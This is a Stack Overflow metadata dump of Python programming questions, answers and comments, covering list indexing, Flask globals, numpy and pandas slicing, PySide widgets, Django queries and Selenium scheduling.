has comment: http://stackoverflow.com/comment/81673449
linked to: http://stackoverflow.com/q/12771710
accepted answer: http://stackoverflow.com/a/47360122
answer count: 1
downvote count: 0
tagged with: string
type: Question
linked to: http://stackoverflow.com/q/17340922
tagged with: python-3.x
type: AnsweredQuestion

http://stackoverflow.com/q/47341726
has comment: http://stackoverflow.com/comment/81635703
type: Question
has body: Can someone please explain why I get a list index out of range error??? I don't understand why, any help is appreciated. original_alphabet = "abcdefghijklmnopqrstuvwxyz" original_alphabet_list = [] for char in original_alphabet: original_alphabet_list.append(char) keyword_list = [] for char in keyword: keyword_list.append(char) for value in keyword_list: for index in range(26): if value == original_alphabet_list[index]: original_alphabet_list.pop(index)
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81635858
answer count: 1
has comment: http://stackoverflow.com/comment/81635796
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47341962
accepted answer: http://stackoverflow.com/a/47341962
has comment: http://stackoverflow.com/comment/81635667
tagged with: python
has comment: http://stackoverflow.com/comment/81635692
has comment: http://stackoverflow.com/comment/81635805
has title: pop() Error: Index out of range python

http://stackoverflow.com/a/47259427
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81469536
has body: I think what you looking for is something like def original_func(a1, a2 ,a3): print(a1, a2, a3) def augmented_func(b, *args): print(original_func(*args), b) you can call it then as augmented_func(1, 2, 3, 4) *args and **kwargs is a good way for passing the variable number of arguments and passing them to other internal function calls. Python docs for further info.
type: Answer
answers question: http://stackoverflow.com/q/47259363
downvote count: 0

http://stackoverflow.com/a/47241668
has comment: http://stackoverflow.com/comment/81434588
downvote count: 0
answers question: http://stackoverflow.com/q/47241571
upvote count: 1
has body: Your code works as expected, the line filedata = filedata.replace('Nz', 'givemeZ(0.5,0.01)') replaces the string Nz with the string givemeZ(0.5,0.01). You want to replaze Nz with the return value of givemeZ(0.5,0.01). Use the following: filedata = filedata.replace('Nz', str(givemeZ(0.5, 0.01))) This takes the return value of givemeZ() and converts this value to a string.
has comment: http://stackoverflow.com/comment/81434491
score: 1
type: Answer

http://stackoverflow.com/q/47295838
answer count: 1
linked to: http://stackoverflow.com/q/32815451
tagged with: global-variables
has title: Flask - Global Variable is not persisting on page reload
favorite count: 0
has body: I am trying to use a global variable within my flask app: from flask import Flask, render_template, request, jsonify app = Flask(__name__) varGlobal = None @app.route('/') def home(): return render_template('home.html') @app.route('/api/prepare', methods=['POST']) def prepare(): if varGlobal is None: varGlobal = "some_val" return varGlobal if __name__ == '__main__': app.run(host='0.0.0.0', port=8989, debug=True) So when my page loads and I hit api/prepare I get: UnboundLocalError: local variable 'varGlobal' referenced before assignment I want this varGlobal to persist as long as my app is running. Even if I reload the page. How can I do this?
type: Question
linked to: http://stackoverflow.com/q/9264763
upvote count: 2
has comment: http://stackoverflow.com/comment/81542903
duplicate of: http://stackoverflow.com/q/32815451
type: UnansweredQuestion
downvote count: 2
tagged with: python
tagged with: flask
duplicate of: http://stackoverflow.com/q/370357
score: 0
has answer: http://stackoverflow.com/a/47296160
has comment: http://stackoverflow.com/comment/81542959
has comment: http://stackoverflow.com/comment/81543127

http://stackoverflow.com/q/47245570
tagged with: replace
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81441752
score: 0
has comment: http://stackoverflow.com/comment/81442012
tagged with: arrays
answer count: 1
type: Question
has comment: http://stackoverflow.com/comment/81441551
has comment: http://stackoverflow.com/comment/81441540
has comment: http://stackoverflow.com/comment/81441504
accepted answer: http://stackoverflow.com/a/47246456
has comment: http://stackoverflow.com/comment/81441521
has comment: http://stackoverflow.com/comment/81441602
has answer: http://stackoverflow.com/a/47246456
tagged with: python
has body: import numpy as np np.random.seed(5) x = np.random.randint(0,10,12) # array([3, 6, 6, 0, 9, 8, 4, 7, 0, 0, 7, 1]) I want to replace several subarrays of x, each corresponding to a single value, e.g., avg. over the subarray: # given the start and end indices for THREE subarrays of x subary_start, subary_end = np.array([0, 2, 8]), np.array([1, 3, 10]) for i, j in zip(subary_start, subary_end): val = np.mean(x[i:j+1]) # avg. over the subarray print(val) # 4.5, 3, 2.33 The expected output would be array([4.5, 3, 9, 8, 4, 7, 2.33, 1]). In my typical case, len(x) can be ten thousands, and there can be hundreds of slices, so an efficient solution is appreciated.
has title: Python: replace several slices in an array with single values
tagged with: slice
has comment: http://stackoverflow.com/comment/81441580

http://stackoverflow.com/comment/81595816
has text: I take some of what I said back. I agree with @wim that there is a bug here with not skipping `np.nan`. I can confirm the results with `a[a != 0].rolling(100).apply(np.nanmedian)`. However, Vaishali's post is still worth looking at.
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/47322086
type: Comment

http://stackoverflow.com/q/47334968
tagged with: pandas
accepted answer: http://stackoverflow.com/a/47338717
score: 1
has answer: http://stackoverflow.com/a/47338717
downvote count: 0
linked to: http://stackoverflow.com/q/18665284
answer count: 1
upvote count: 1
has body: I'm having some issues with the index from a Pandas data frame. What I'm trying to do is load data from a JSON file, create a Pandas data frame and then select specific fields from that data frame and send it to my database. The following is a link to what's in the JSON file so you can see the fields actually exist: https://pastebin.com/Bzatkg4L import pandas as pd from pandas.io import sql import MySQLdb from sqlalchemy import create_engine # Open and read the text file where all the Tweets are with open('US_tweets.json') as f: tweets = f.readlines() # Convert the list of Tweets into a structured dataframe df = pd.DataFrame(tweets) # Attributes needed should be here df = df'created_at', 'screen_name', 'id', 'country_code', 'full_name', 'lang', 'text' # To create connection and write table into MySQL engine = create_engine("mysql+pymysql://{user}:{pw}@localhost/{db}" .format(user="blah", pw="blah", db="blah")) df.to_sql(con=engine, name='US_tweets_Table', if_exists='replace', flavor='mysql') Thanks for your help!
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81629407
has comment: http://stackoverflow.com/comment/81627499
tagged with: http://stackoverflow.com/tag/json
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81625474
has title: Pandas KeyError: “['value'] not in index”

http://stackoverflow.com/comment/81988044
type: AnswerComment
score: 1
has text: This was the only thing that fixed this issue for me after upgrading to macOS High Sierra.
comment on: http://stackoverflow.com/a/47417108
type: Comment

http://stackoverflow.com/a/47279952
type: AcceptedAnswer
has body: The character '?' has a special meaning in regular expressions. Use escape sequence. Hope this helps, data = data.select(regexp_replace(col("Name"), "\?", "NaN"))
answers question: http://stackoverflow.com/q/47279290
downvote count: 0
upvote count: 1
score: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/47279290
has comment: http://stackoverflow.com/comment/81511028

http://stackoverflow.com/q/47341762
has comment: http://stackoverflow.com/comment/81654446
tagged with: python
type: UnansweredQuestion
has title: Python Removing Custom Stop-Words from CSV files
answer count: 1
has comment: http://stackoverflow.com/comment/81653540
tagged with: stop-words
has body: Hi I am new to Python programing and I need help removing custom made stop-words from multiple files in a directory. I have read almost all the relevant posts online!!!! I am using Python 2.7 Here are two sample lines of one of my files.I want to keep this format and just remove the stop-words from the rows: "8806";"Demonstrators [in Chad] demand dissolution of Legis Assembly many hurt as police disperse crowd.";"19" "44801";"Role that American oil companies played in Iraq's oil-for-food program is coming under greater scrutiny.";"19" I have a list of stop-words in a dat file called Stopwords. This is my code: import io import os import os.path import csv os.chdir('/home/Documents/filesdirectory') stopwords = open('/home/StopWords.dat','r').read().split('\n') for i in os.listdir(os.getcwd()): name= os.path.splitext(i)[0] with open(i,"r") as fin: with open(name,"w") as fout: writer=csv.writer(fout) for w in csv.reader(fin): if w not in stopwords: writer.writerow(w) It does not give me any errors but creates empty files. Any help is very much appreciated.
has comment: http://stackoverflow.com/comment/81654553
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/81659720
score: 2
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/81657836
has answer: http://stackoverflow.com/a/47386100
tagged with: directory
favorite count: 0
has comment: http://stackoverflow.com/comment/81643363
has comment: http://stackoverflow.com/comment/81660968
type: Question
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81653770

http://stackoverflow.com/q/47226833
type: AnsweredQuestion
tagged with: pyside
has body: I can't figure it. I want to be able to swap out QWidgets according to events like button clicks but I am missing something and I haven't been able to search out any example along the lines of the code below. What I want to do is click one of the top buttons and get the widget below to switch between either the QCalendar or QtextEdit. Where am I going wrong? Thanks! #!/usr/bin/python import sys from PySide import QtGui, QtCore class Example(QtGui.QWidget): def __init__(self): super(Example, self).__init__() self.initUI() def initUI(self): hbox = QtGui.QHBoxLayout(self) widget = QtGui.QCalendarWidget() button1 = QtGui.QPushButton('Calendar', self) button1.setCheckable(True) button1.clicked[bool].connect(self.setWidget) button2 = QtGui.QPushButton('TextEdit', self) button2.setCheckable(True) button2.clicked[bool].connect(self.setWidget) splitter1 = QtGui.QSplitter(QtCore.Qt.Vertical) splitter1.addWidget(button1) splitter1.addWidget(button2) splitter1.addWidget(widget) hbox.addWidget(splitter1) self.setLayout(hbox) self.setGeometry(0, 0, 600, 600) self.setWindowTitle('Switching QWidgets') self.show() def setWidget(self, pressed): source = self.sender() val1 = QtGui.QCalendarWidget() val2 = QtGui.QTextEdit() if source.text() == "Calendar": widget = val1 QtGui.QWidget.update(Example.hbox) elif source.text() == "TextEdit": widget = val2 QtGui.QWidget.update(Example.hbox) else: widget = val1 QtGui.QWidget.update(Example.hbox) def main(): app = QtGui.QApplication(sys.argv) ex = Example() sys.exit(app.exec_()) if __name__ == '__main__': main()
has answer: http://stackoverflow.com/a/47227459
downvote count: 0
upvote count: 1
score: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47227459
possible better answer: http://stackoverflow.com/a/47227914
tagged with: python
has answer: http://stackoverflow.com/a/47227914
tagged with: qwidget
has title: PySide switching widgets with events?
answer count: 2

http://stackoverflow.com/comment/81665210
score: 0
type: Comment
has text: ok that's interesting, what I could do is to write to a file. You could elaborate a very good answer by being polite
type: QuestionComment
comment on: http://stackoverflow.com/q/47355979

http://stackoverflow.com/comment/81572092
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47309918
has text: If the problem only occurs if you use `brain_body.txt` you need to supply this file. If the problem does not depend on the use of `brain_body.txt`, then provide a [mcve] without it.

http://stackoverflow.com/comment/81618491
comment on: http://stackoverflow.com/q/47333227
type: Comment
type: QuestionComment
score: 0
has text: Use `pd.to_numeric` with `errors = coerce` instead of astype int then `fillna` with whatever you want.

http://stackoverflow.com/comment/81620477
comment on: http://stackoverflow.com/q/47334486
score: 0
type: Comment
has text: Using `books = Book.objects.filter(id=id)` looks a little odd. If `id` is the id of the book, I would expect to see `book = Book.objects.get(id=id)`, or possibly `book = get_object_or_404(Book, id=id)`.
type: QuestionComment

http://stackoverflow.com/q/47239214
has comment: http://stackoverflow.com/comment/81431499
type: Question
accepted answer: http://stackoverflow.com/a/47240335
tagged with: pyqt
has body: I use QAxWidget with python. Until yesterday, the following code run well. but now don't well. Code result is 'return 1' from PyQt5.QAxContainer import * class test(QAxWidget): def __init(self): super.__init__() ...... test() the following code is the same from PyQt5.QAxContainer import * a = QAxWidget() So, I think that PyQt5 file breaks up. I uninstall Anaconda and install Anaconda. But result is same. And I run the program with python idle. Originally, pyCharm. But result is same. help me. What should i do? Please!!
answer count: 1
tagged with: pyqt5
has title: python QAxWidget is not execute
has comment: http://stackoverflow.com/comment/81441368
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47240335
has comment: http://stackoverflow.com/comment/81440618
tagged with: python

http://stackoverflow.com/comment/81513060
score: 0
type: AnswerComment
has text: Yes, that's going to require memory management, it is not very practical, or it is going to be very slow with plenty of disk access. And yes, `!=` is better.
comment on: http://stackoverflow.com/a/47281170
type: Comment

http://stackoverflow.com/q/47256014
tagged with: python
has answer: http://stackoverflow.com/a/47256072
upvote count: 0
has body: I am used to writing in C++, and I am getting attribute error. Basically I have a parent attribute accessed via a child class and using child class objects. class temp (): def __init__(self): self.t1 = 500 self.t2 ="temp testing" class parent (): def __init__(self): self.a1 = "" self.a2 = 0 self.alist = [] class child (parent): def __init__(self): parent.__init__(self) ## i want to define is C++ , initalizing values a1 = "fun1" a2 = 200 t1 = temp() t1.t1 = 100 t1.t2 = "modified testing" alist.append(t1) def dis_name(self): print a1 gchild = child() gchild.a1 = "modified child" gchild.dis_name()
answer count: 1
has title: how to access base class attribute from child objects in python
downvote count: 1
favorite count: 0
score: -1
type: Question
has comment: http://stackoverflow.com/comment/81462989
type: UnansweredQuestion

http://stackoverflow.com/comment/81578080
has text: I've removed all extra spaces, and value is not required from my test data. I've update my sample code
score: 0
comment on: http://stackoverflow.com/a/47313623
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/81644192
has text: The best place for further discussion is the mod_wsgi mailing list. http://modwsgi.readthedocs.io/en/develop/finding-help.html
type: Comment
comment on: http://stackoverflow.com/a/47327751
score: 0
type: AnswerComment

http://stackoverflow.com/a/47348346
has body: The url parameter in websocket_connect(url) can be a plain URL string but it can also be a tornado.httpclient.HTTPRequest object. Although, it's not documented but you can see this in the source code. So, you can create an instance of HTTPRequest and set the Cookie header there, after all, cookie is just a header. Example: from tornado import httpclient # create an instace of HTTPRequest with the given url request = httpclient.HTTPRequest(url, headers={'Cookie': 'name=value'}) # connect to ws using the request object ws_connection = yield tornado.websocket.websocket_connect(request)
type: Answer
answers question: http://stackoverflow.com/q/47343413
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/81564021
type: QuestionComment
type: Comment
score: 0
has text: .... to ensure that nested strings are not stored in columns or cells within dataframes or DB tables such that they are converted to strings.
comment on: http://stackoverflow.com/q/47306581

http://stackoverflow.com/a/47233914
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81418605
has comment: http://stackoverflow.com/comment/81462799
has comment: http://stackoverflow.com/comment/81418568
accepted answer of: http://stackoverflow.com/q/47233855
type: Answer
has body: Try with BeautifulSoup to find the element span, then get the text, like this: import bs4 date_lst = [""" ESPN - 13 hours ago """, """ ABS-CBN News - 13 hours ago """, """ New York Times - 14 hours ago """, """ MinnPost - 1 day ago """, """ New York Times - 2 days ago """, """ NME.com - 1 day ago """, """ Wichita Eagle - 1 day ago """, """ Jalopnik - 1 day ago """] date_result = [] for d in date_lst: soup = bs4.BeautifulSoup(d, "html.parser") date_result.append(soup.find('span').text) print(date_result) Update: Based on your update, the dates contains the element, you can directly loop to find the span and get text. date_result = [] for d in dates: date_result.append(d.find('span').text) date_result will be: [u'ESPN - 13 hours ago', u'ABS-CBN News - 13 hours ago', u'New York Times - 14 hours ago', u'MinnPost - 1 day ago', u'New York Times - 2 days ago', u'NME.com - 1 day ago', u'Wichita Eagle - 1 day ago', u'Jalopnik - 1 day ago']
answers question: http://stackoverflow.com/q/47233855
has comment: http://stackoverflow.com/comment/81418433
has comment: http://stackoverflow.com/comment/81430169
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/comment/81533641
type: Comment
has text: @mohammedqudah no, the ajax doesn't need to be in the for-loop. A single handler `$(".like-button").click(function(e){}` should work, because the handler fetches the slug using `$(this).attr('name')`.
type: AnswerComment
comment on: http://stackoverflow.com/a/47291313
score: 1

http://stackoverflow.com/comment/81638430
score: 0
type: AnswerComment
has text: I had seen this. But they have even different class names. In the docs, it is "tf.train.ExponentialMovingAverage", but it is "tensorflow.python.training" in the code.Are they the same?
type: Comment
comment on: http://stackoverflow.com/a/47343060

http://stackoverflow.com/comment/81431727
score: 0
comment on: http://stackoverflow.com/q/47234375
type: Comment
type: QuestionComment
has text: Thanks. If I create an example based on what you have shown, it works with no errors. Can you create a small, *runnable* example that demonstrates the error? For example, I did `img1 = np.random.randint(0, 255, size=(10, 8, 8, 3))`, etc.

http://stackoverflow.com/q/47240769
has comment: http://stackoverflow.com/comment/81434795
type: Question
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/81434474
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81432773
has title: unpacking values outside a class error
favorite count: 0
tagged with: class
has body: I am trying to read in a csv file data and store the data using a class. My variables are not defined in the file directly, but as an input from the csv file. I want to read the Line Groundas an input for the class Building_Storey and split the line using the class method from_st.However I receive this error too many values to unpack (expected 4) and the error message missing 3 required positional arguments if I split the line Ground earlier in the code.it seems that he reads the whole line as one string, and gives the first argument to the whole line. I don't know what is the problem with this code. Input csv file: TABLE;BuildingStorey; GbxmlID;Name;Level;Internal Height; F0;GroundFloor;0;3.7 F1;FirstFloor;4;3.7 F2;SecondFloor;16;8 The code : with open('file.csv', 'r')as fp: copy = fp.readlines() print(copy) l = 0 for line in copy: l = l + 1 if l == 3: if 'GroundFloor' in line: Ground = line print(Ground) class Building_Storey: def __init__(self, GbxmlID, Name, Level, Internal_Height): self.GbxmlID = GbxmlID self.Name = Name self.Level = Level self.Internal_Height = Internal_Height @classmethod def from_st(cls, Story_st): GbxmlID, Name, Level, Internal_Height = Story_st.split(';') return cls(GbxmlID, Name, Level, Internal_Height) Groundfloor = Building_Storey.from_st(Ground) print(Groundfloor.GbxmlID) print(Groundfloor.Name) print(Groundfloor.Level) print(Groundfloor.Internal_Height) Output should be: F0;GroundFloor;0;3.7;;;;;;; # the line I want to read GroundFloor.GbxmlID = F0 GroundFloor.Name = GroundFloor GroundFloor.Level = 0 GroundFloor.Internal_Height = 3.7
has answer: http://stackoverflow.com/a/47264390
has comment: http://stackoverflow.com/comment/81434459
has comment: http://stackoverflow.com/comment/81432382
type: UnansweredQuestion
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81434760
upvote count: 1
has comment: http://stackoverflow.com/comment/81435115

http://stackoverflow.com/comment/81532414
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47273597
score: 0
has text: Your Button(btn) text doesn't update when you update the sensor value

http://stackoverflow.com/q/47284173
has comment: http://stackoverflow.com/comment/81531807
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81976948
tagged with: django
tagged with: python
linked to: http://stackoverflow.com/q/47279487
score: 0
answer count: 0
has title: Django: Distinct and Order_by Together
has comment: http://stackoverflow.com/comment/81531706
has body: I'm trying to build a messaging app. Here's my model, class Message(models.Model): sender = models.ForeignKey(User, related_name="sender") receiver = models.ForeignKey(User, related_name="receiver") msg_content = models.TextField() created_at = models.DateTimeField(auto_now_add=True) This is what I tried in view, data = User.objects.filter(Q(sender__receiver=request.user) | Q(receiver__sender=request.user)).order_by('-receiver') Here User is the built in user model of django In the template, {% for abc in data %} {{ abc}} &lt;br/&gt; {% endfor %} Here i wants to filter the distinct users and re-order them based upon the fact that to whom request.user sent new message recently (as we see on social media platforms). I tried almost everything with data = Message.objects.filter(Q(sender=request.user) | Q(receiver=request.user))....(order, values, distinct) But either it's not re-ordering or it's not working with distinct() when used together. How can I do that with User model?
linked to: http://stackoverflow.com/q/20582966
type: Question

http://stackoverflow.com/comment/81553327
type: QuestionComment
has text: tdm and X_tfidf will not contain any index as per the code above. They are the output corresponding to some input data
score: 0
comment on: http://stackoverflow.com/q/47298491
type: Comment

http://stackoverflow.com/a/47319082
has comment: http://stackoverflow.com/comment/81589391
downvote count: 0
has comment: http://stackoverflow.com/comment/81589415
has comment: http://stackoverflow.com/comment/81589429
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81589782
has comment: http://stackoverflow.com/comment/81589381
has comment: http://stackoverflow.com/comment/81590086
has comment: http://stackoverflow.com/comment/81589408
has comment: http://stackoverflow.com/comment/98103857
has comment: http://stackoverflow.com/comment/81589522
accepted answer of: http://stackoverflow.com/q/47318901
has comment: http://stackoverflow.com/comment/81589578
has comment: http://stackoverflow.com/comment/81589458
upvote count: 6
type: Answer
score: 6
has comment: http://stackoverflow.com/comment/81589507
has body: Using prepared statements (safe way): qry = """ SELECT * FROM db WHERE run_start_date BETWEEN '%s 16:00:00' AND '%s 16:00:00' """ # today = DT.date.today() week_ago = today - DT.timedelta(days=7) today = str(today.strftime('%Y-%m-%d')) # Convert to string week_ago = str(week_ago.strftime('%Y-%m-%d')) # Convert to string cursor.execute(qry, [today, week_ago]) Using .format() which leaves you at risk for sql injections (if you pass user input to .format() e.g.) qry = """ SELECT * FROM db WHERE run_start_date BETWEEN '{today} 16:00:00' AND '{week_ago} 16:00:00' """ # Use named placeholders, nicer to read, prevents you having to repeat variables multiple time when calling .format() today = DT.date.today() week_ago = today - DT.timedelta(days=7) today = str(today.strftime('%Y-%m-%d')) # Convert to string week_ago = str(week_ago.strftime('%Y-%m-%d')) # Convert to string qry = qry.format(today=today, week_ago=week_ago) cursor.execute(qry)
answers question: http://stackoverflow.com/q/47318901

http://stackoverflow.com/a/47235738
downvote count: 0
answers question: http://stackoverflow.com/q/47234915
score: 4
type: Answer
upvote count: 4
has body: Instead of horizontal alignment you probably want to use vertical alignment: import numpy as np import seaborn as sns import matplotlib.pyplot as plt cmat = np.matrix([[2, 3], [4, 5]]) fig, ax = plt.subplots(figsize=(4, 4)) sns.heatmap(cmat, annot=True, xticklabels=['Faulty', 'Healthy'], cbar=False, ax=ax) ax.set_yticklabels(['Faulty', 'Healthy'], va='center', rotation = 90, position=(0,0.28)) plt.show()

http://stackoverflow.com/q/47266685
has answer: http://stackoverflow.com/a/47267887
has answer: http://stackoverflow.com/a/47266957
favorite count: 0
has title: python - How to parse numbers around a specific word/phrase
has answer: http://stackoverflow.com/a/47268575
score: -2
has comment: http://stackoverflow.com/comment/81484054
has comment: http://stackoverflow.com/comment/81512509
tagged with: python
has comment: http://stackoverflow.com/comment/81513490
has comment: http://stackoverflow.com/comment/81483963
has body: Suppose that I have a text like this: Our favorite numbers are 5, 6, and 7, but his favorite number is 0. Also, this text contains 2 sentences. Let's say I'd like to get favorite numbers only in this text, for instance. I won't be able to know if there's a favorite number in this text, unless the phrase favorite number is present. So I'm basically trying to parse numbers around the phrase favorite number (or favorite numbers). The expected result should be something like this: ['5', '6', '7', '0'] I tried using regex for that but I've failed so far. What's the most logical way to do this? Edit: After reading @LouiseDavies's question, I'll add another example below: Alice has 2 favorite numbers: 11 and 12. Bob has 10 favorite numbers: 0, 100, 1264, 598, 78496, 33546, 1028896, 23, 48, 6. So in this example, my output should be something like this (the order doesn't matter): ['11', '12', '0', '100', '1264', '598', '78496', '33546', '1028896', '23', '48', '6']
answer count: 4
type: Question
has answer: http://stackoverflow.com/a/47266733
type: UnansweredQuestion
downvote count: 3
has comment: http://stackoverflow.com/comment/81512378
upvote count: 1

http://stackoverflow.com/q/47376091
has body: I have a dictionary stat of size 3 x 5 (three variables a, b and c with five data points each) and get the following output using print(stat): defaultdict(&lt;class 'dict'&gt;,{ datetime.datetime(2017, 11, 3, 0, 0): {'a': 18, 'b': 82, 'c': 30}, datetime.datetime(2017, 11, 4, 0, 0): {'a': 14, 'b': 10, 'c': 24}, datetime.datetime(2017, 11, 5, 0, 0): {'a': 14, 'b': 61, 'c': 54}, datetime.datetime(2017, 11, 6, 0, 0): {'a': 32, 'b': 10, 'c': 81}, datetime.datetime(2017, 11, 7, 0, 0): {'a': 28, 'b': 12, 'c': 60} }) I also have a list art where the variables are stored: art = ['a', 'b', 'c'] At the moment I calculate the sum by doing this: j=0 for key in stat: for k in range(5): data[k][j] = stat[key][art[k]] j=j+1 sum_per_var = np.sum(data, axis=1) And get: sum_per_var = [ 106. 175. 249.] But this approach seems really clumpy. Is there a cleaner way to compute the sum of the variables a, b and c?
has title: Sum over dictionary
score: 1
answer count: 1
has comment: http://stackoverflow.com/comment/81707888
has comment: http://stackoverflow.com/comment/81704708
has comment: http://stackoverflow.com/comment/81708002
downvote count: 1
favorite count: 0
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/81704483
has comment: http://stackoverflow.com/comment/81704615
tagged with: python
tagged with: dictionary
accepted answer: http://stackoverflow.com/a/47376182
has comment: http://stackoverflow.com/comment/81707676
has comment: http://stackoverflow.com/comment/81707726
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47376182

http://stackoverflow.com/q/47346738
downvote count: 0
has title: Comparing a column's value with an array (or a series) of decreasing size
upvote count: 1
accepted answer: http://stackoverflow.com/a/47346960
tagged with: vectorization
favorite count: 0
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47348376
tagged with: pandas
score: 1
tagged with: python
has body: I have the following dataframe. (This isn't necessarily a dataframe; a solution on the numpy array df.values would also be sufficient) np.random.seed(42) df = pd.DataFrame(np.random.random((10,2)),columns=['a', 'b']) df a b 0 0.374540 0.950714 1 0.731994 0.598658 2 0.156019 0.155995 3 0.058084 0.866176 4 0.601115 0.708073 5 0.020584 0.969910 6 0.832443 0.212339 7 0.181825 0.183405 8 0.304242 0.524756 9 0.431945 0.291229 I want to include a new column that has the value as per the below logic: True : If any of the b values after a particular a value is greater than that partiulcar a value False : Otherwise The expected output would be: (See the explanation for some of the rows below) a b c 0 0.374540 0.950714 True 1 0.731994 0.598658 True 2 0.156019 0.155995 True 3 0.058084 0.866176 True &lt;- np.any(0.058084 &lt; np.array([0.708073, 0.969910, 0.212339, 0.183405, 0.524756, 0.291229])) 4 0.601115 0.708073 True &lt;- np.any(0.601115 &lt; np.array([0.969910, 0.212339, 0.183405, 0.524756, 0.291229])) 5 0.020584 0.969910 True &lt;- np.any(0.020584 &lt; np.array([0.212339, 0.183405, 0.524756, 0.291229])) 6 0.832443 0.212339 False &lt;- np.any(0.832443 &lt; np.array([0.183405, 0.524756, 0.291229])) 7 0.181825 0.183405 True &lt;- np.any(0.181825 &lt; np.array([0.524756, 0.291229])) 8 0.304242 0.524756 False &lt;- np.any(0.304242 &lt; np.array([0.291229])) 9 0.431945 0.291229 UNDEFINED &lt;- Ignore this The above should be possible with a for loop but what is the pandas/numpy way to do that? I was trying for an approach where I apply a lambda function to a but l couldn't find a way to get the index of the respective a value to do the np.any comparison as shown above. (I have later discovered that apply is just syntactic sugar for a for loop, though) df['c'] = df['a'].apply(lambda x: np.any(x &lt; df['b'].values[&lt;i&gt;:])) # Where &lt;i&gt; is the respective index value of x; which I didn't know how to find
has answer: http://stackoverflow.com/a/47346960
type: Question
tagged with: numpy
answer count: 2
has answer: http://stackoverflow.com/a/47348376

http://stackoverflow.com/q/47263032
has title: Selenium firefox fails to load only when run through windows task scheduler
score: 2
tagged with: windows
answer count: 1
tagged with: selenium
has answer: http://stackoverflow.com/a/47283428
favorite count: 0
type: Question
upvote count: 2
has body: I have a web scraping script in Python, using Selenium and (tor) Firefox. This runs completely fine when I start the script manually, in my IDE or from cmd. However, this script needs to be run when I am not in the office, so I run it via a batch script (along with some other scraping scripts) which is started by the windows task scheduler. Again, when I run this batch file manually, the script runs perfectly. When the scheduled task runs, on the other hand, it fails as soon as the webdriver is set with the following unhelpful error message: Traceback (most recent call last): ... #private library traceback ... File "redacted.py", line 322, in redacted_func driver = webdriver.Firefox() File "C:\Program Files\Python 3.5\lib\site-packages\selenium\webdriver\firefox\webdriver.py", line 152, in __init__ keep_alive=True) File "C:\Program Files\Python 3.5\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 98, in __init__ self.start_session(desired_capabilities, browser_profile) File "C:\Program Files\Python 3.5\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 188, in start_session response = self.execute(Command.NEW_SESSION, parameters) File "C:\Program Files\Python 3.5\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 256, in execute self.error_handler.check_response(response) File "C:\Program Files\Python 3.5\lib\site-packages\selenium\webdriver\remote\errorhandler.py", line 194, in check_response raise exception_class(message, screen, stacktrace) selenium.common.exceptions.WebDriverException: Message: Process unexpectedly closed with status: 0 Does anyone have any idea why this error occurs only when run from the task scheduler?
type: UnansweredQuestion
tagged with: firefox
has comment: http://stackoverflow.com/comment/81477358
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/81477451

http://stackoverflow.com/comment/81526024
type: Comment
comment on: http://stackoverflow.com/q/47287948
score: 1
type: QuestionComment
has text: format your code properly please

http://stackoverflow.com/q/47254811
has comment: http://stackoverflow.com/comment/81460496
has comment: http://stackoverflow.com/comment/81460391
has comment: http://stackoverflow.com/comment/81460145
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81460639
tagged with: pandas
has body: I am trying to slice a dataframe based on some previously defined conditions defined in a separate array. When looping through that array to find the relevant slices of the dataframe, I run into a problem. The first iteration works fine, but the loop breaks during the second iteration, throwing TypeError: len() of unsized object. Here is an example dataframe: std sterr Z smooth 0 5.1 2.28 0 7.640484 1 5.13 2.29 0.1 7.532409 2 5.15 2.3 0.21 7.406423 3 5.17 2.31 0.31 7.267842 4 5.19 2.32 0.42 7.121988 5 5.21 2.33 0.52 6.974179 6 5.23 2.34 0.62 6.829734 7 5.25 2.35 0.73 6.693973 8 5.27 2.36 0.83 6.584009 9 5.29 2.37 0.94 6.49429 10 5.31 2.38 1.04 6.427032 Here is the code of the loop: turnz = df.ix[np.array(turn_iloc), 'Z'] c = 0. print "turn points", np.array(turnz) for i, zi in enumerate(np.array(turnz)): z0 = c print z0, zi, type(z0), type(zi) x = df.loc[((z0&lt;=df['Z'])&amp; (df['Z']&lt;=zi)), 'Z'] y = df.loc[((z0&lt;=df['Z'])&amp; (df['Z']&lt;=zi)), 'smooth'] print len(x), len(y) print type(x), type(y) c = zi And these are the printed outputs: turn points [ 1.04 2.19 2.5 4.06] 0.0 1.04 &lt;type 'float'&gt; &lt;type 'numpy.float64'&gt; 11 11 &lt;class 'pandas.core.series.Series'&gt; &lt;class 'pandas.core.series.Series'&gt; 1.04 2.19 &lt;type 'numpy.float64'&gt; &lt;type 'numpy.float64'&gt; after this, it throws the error. However, if I try to slice the dataframe using these printed values outside the loop, it works fine. print "IS IT",df.loc[((1.04&lt;=df['Z'])&amp; (df['Z']&lt;=2.19)), 'Z'] prints IS IT 10 1.04 11 1.14 12 1.25 13 1.35 14 1.46 15 1.56 16 1.67 